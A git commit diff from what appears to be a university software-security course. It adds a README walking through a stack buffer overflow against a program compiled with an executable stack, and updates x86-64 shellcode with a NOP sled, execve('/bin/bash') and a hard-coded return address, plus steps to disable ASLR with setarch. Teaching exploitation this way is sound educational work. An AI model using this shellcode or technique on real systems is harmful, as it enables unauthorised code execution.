added explanation of buffer overflow example
This commit is contained in:
parent
1204c70c2d
commit
e97c155816
|
@ -1,16 +1,12 @@
|
||||||
SOURCES = $(wildcard *.asm)
|
.PHONY: clean shellcode bufoverflow
|
||||||
OBJS = $(SOURCES:.asm=.o)
|
|
||||||
EXECS = $(patsubst %.asm,%.runme,$(SOURCES))
|
|
||||||
all: $(EXECS) bufoverflow
|
|
||||||
|
|
||||||
%.o: %.asm
|
all: bufoverflow shellcode
|
||||||
nasm -g -f elf64 $<
|
|
||||||
|
|
||||||
%.runme: %.o
|
shellcode:
|
||||||
ld -o $@ $<
|
nasm shellcode.asm
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -f *.o *.runme bufoverflow
|
rm -f shellcode bufoverflow
|
||||||
|
|
||||||
bufoverflow:
|
bufoverflow:
|
||||||
gcc bufoverflow.c -g -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse
|
gcc bufoverflow.c -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse
|
||||||
|
|
|
@ -0,0 +1,106 @@
|
||||||
|
# bufoverflow.c demo
|
||||||
|
|
||||||
|
This demo corresponds to the **Buffer Overflow: Code Execution** slide of the Software Security lecture.
|
||||||
|
The function `mystr()` is vulnerable as it has a buffer overflow when calling `fread()` with a wrong maximum lenght: only 512B would fit into the buffer but 1024B are passed as maximum length argument.
|
||||||
|
Attackers can therefore overflow the buffer `char mystr[512]` by providing input files larger than 512B.
|
||||||
|
|
||||||
|
**NOTE:** Before starting here, make sure you have your `.gdbinit` file configured correctly (see Moodle).
|
||||||
|
|
||||||
|
## Demo usage
|
||||||
|
|
||||||
|
To compile the demo, use an x64 system with `gcc` and `nasm` installed and invoke `make`. Then:
|
||||||
|
|
||||||
|
`./bufoverflow <filename>`
|
||||||
|
|
||||||
|
If the file is too large, the program should receive a segmentation fault during execution.
|
||||||
|
Otherwise, the program just exits gracefully.
|
||||||
|
|
||||||
|
## Exploiting the program within a debugger
|
||||||
|
|
||||||
|
Once we got the program running, we have to write the shellcode.
|
||||||
|
We face two challenges here.
|
||||||
|
1. We have to investigate how many bytes of shellcode we can place and what offset the saved `rip` has.
|
||||||
|
2. We have to compute the stack pointer to our shellcode that overwrites the saved `rip`.
|
||||||
|
We devote each a subsection for each challenge.
|
||||||
|
|
||||||
|
### Determinining the offset
|
||||||
|
|
||||||
|
### Computing the correct stack pointer
|
||||||
|
|
||||||
|
To compute the stack address, simply use `gdb`. To this end, we open the program in a debuger:
|
||||||
|
|
||||||
|
`gdb --args ./bufoverflow <path-to-input-file>`
|
||||||
|
|
||||||
|
Within `gdb`, we then set a breakpoint on the `mystr` function like this:
|
||||||
|
|
||||||
|
`break mystr`
|
||||||
|
|
||||||
|
You can then execute the program using the gdb command `run`. The program will execute until hitting the breakpoint. If you don't see registers or assembly you, simply enter `layout asm` and `layout regs`. You should then see the program before executing the `mystr` function prologue. Now, you can single-step using the `gdb` command `ni`. Single-step until after the function prologue (i.e., right after`sub rsp,0x200`). You then see the stack frame looking at `rbp` and `rsp`, where `rsp` points to the top of the stack and thus the single local function variable (the 512B buffer) in our function. Note down this value (in my case, `0x7fffffffe090`) and exit the debugger with SIGINT (i.e., CTRL+D) or using `exit` (noone does that).
|
||||||
|
|
||||||
|
### Compiling the shellcode
|
||||||
|
|
||||||
|
After having writting/adapted the shellcode, compile it using `make`.
|
||||||
|
To double-check if the shellcode was compiled correctly, you can disassemble it using the command
|
||||||
|
|
||||||
|
`objdump -D -b binary -M intel -d -m i386:x86-64 ./shellcode | less -S`
|
||||||
|
|
||||||
|
It should start with a (long) `nop` chain, followed by the system call, the shell string (misinterpreted as code) and the shellcode pointer (likewise misinterpreted as code).
|
||||||
|
|
||||||
|
Once you're satisfied, invoke
|
||||||
|
|
||||||
|
`gdb --args ./bufoverflow ./shellcode`
|
||||||
|
|
||||||
|
and then use the `run` command to get your shell.
|
||||||
|
|
||||||
|
Exit with SIGINT (CTRL+D); the first SIGINT will exit the shell, the second the debugger.
|
||||||
|
|
||||||
|
|
||||||
|
## Shellcode for exploits outside of the debugger
|
||||||
|
|
||||||
|
When you now try to exploit the program *without* using `gdb`, you will likely observe a segmentation fault like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ./bufoverflow ./shellcode
|
||||||
|
Segmentation fault
|
||||||
|
```
|
||||||
|
|
||||||
|
This has **two** reasons, both of which you'll have to address.
|
||||||
|
|
||||||
|
### Stack randomization
|
||||||
|
|
||||||
|
First, by default, Linux randomizes the stack location to make attacks like yours harder.
|
||||||
|
In `gdb` your attack worked as `gdb` disables this randomization to make debugging easier.
|
||||||
|
You can disable this randomization by executing the program like this:
|
||||||
|
|
||||||
|
`setarch \`uname -m\` -R ./bufoverflow ./shellcode`.
|
||||||
|
|
||||||
|
### Adjusting the stack pointer
|
||||||
|
|
||||||
|
Second, the stack pointer you obtained using `gdb` is invalid when the program is being run without `gdb`.
|
||||||
|
This is as `gdb` places environment variables on the stack that change (decrease!) the stack (i.e., `rsp` value).
|
||||||
|
There are (at least) two solutions to this problem:
|
||||||
|
|
||||||
|
#### Variant A: Guesstimate the right stack address
|
||||||
|
|
||||||
|
We can take into account that `gdb` places environment variables that change (decrease!) the `rsp` value (see [here](https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it) for details and possible workarounds that however only work for programs without arguments).
|
||||||
|
Thankfully, given that we have sufficient room for a `nop` sled in our sled, we can adopt to this and try to guesstimate a valid `rsp` value.
|
||||||
|
Try to increase the value by 256B (0x100).
|
||||||
|
This address should now point somewhere in the middle of our shellcode, i.e., into our NOP sled.
|
||||||
|
Then recompile the shellcode and give it a try.
|
||||||
|
|
||||||
|
#### Variant B: Inspecting a core dump.
|
||||||
|
|
||||||
|
If you're really after the exact correct `rsp` value, you can also record a so-called `core` dump of the vulnerable program upon crash, and then inspect the core dump using `gdb`.
|
||||||
|
To enable core dumps, run:
|
||||||
|
|
||||||
|
`ulimit -S -c unlimited`
|
||||||
|
|
||||||
|
Then, run the program and let it crash.
|
||||||
|
|
||||||
|
`setarch `uname -m` -R ./bufoverflow ./shellcode`
|
||||||
|
|
||||||
|
Now you should see a file called `core`, which is our core dump. We can inspect this using `gdb`:
|
||||||
|
|
||||||
|
`gdb ./bufoverflow ./core`
|
||||||
|
|
||||||
|
By inspecting the registers or memory content, you may be able to find out the correct `rsp` value. Note however that the core dump was taken *after* the function's epilogue and hence the `rbp` and `rsp` values will be clobbered. So it's always a little nasty to find the exact value and there's no systematic answer how to find it.
|
|
@ -1,23 +0,0 @@
|
||||||
bits 64
|
|
||||||
|
|
||||||
global _start
|
|
||||||
_start:
|
|
||||||
|
|
||||||
times 128 nop
|
|
||||||
|
|
||||||
; 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
|
|
||||||
; (rdi, rsi, rdx, r10, r8, r9)
|
|
||||||
mov rax, 59
|
|
||||||
lea rdi, [rel binbash]
|
|
||||||
xor rsi, rsi
|
|
||||||
xor rdx, rdx
|
|
||||||
syscall
|
|
||||||
|
|
||||||
times 5 nop
|
|
||||||
|
|
||||||
binbash:
|
|
||||||
db '/bin/bash', 0x00
|
|
||||||
|
|
||||||
ALIGN 512 ; 512-byte alignment for this part
|
|
||||||
times 8 nop ; overwrite saved rbp
|
|
||||||
dq 0x7fffffffdcd0 ; overwrite rip ([rbp+8])
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
bits 64
|
||||||
|
|
||||||
|
global _start
|
||||||
|
_start:
|
||||||
|
times 400 nop ; NOP sled
|
||||||
|
|
||||||
|
; 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
|
||||||
|
; (rdi, rsi, rdx, r10, r8, r9)
|
||||||
|
mov rax, 59 ; system call number (59 = sys_execve)
|
||||||
|
lea rdi, [rel binbash] ; load ptr to bash string into rdi
|
||||||
|
xor rsi, rsi ; zero rsi
|
||||||
|
xor rdx, rdx ; zero rdx
|
||||||
|
syscall
|
||||||
|
|
||||||
|
times 5 nop
|
||||||
|
|
||||||
|
binbash:
|
||||||
|
db '/bin/bash', 0x00
|
||||||
|
|
||||||
|
ALIGN 512 ; 512-byte alignment for this code after here
|
||||||
|
times 8 nop ; overwrite saved rbp
|
||||||
|
dq 0x7fffffffe090 ; overwrite rip ([rbp+8])
|
||||||
|
;dq 0x7fffffffe1c0 ; overwrite rip ([rbp+8])
|
Loading…
Reference in New Issue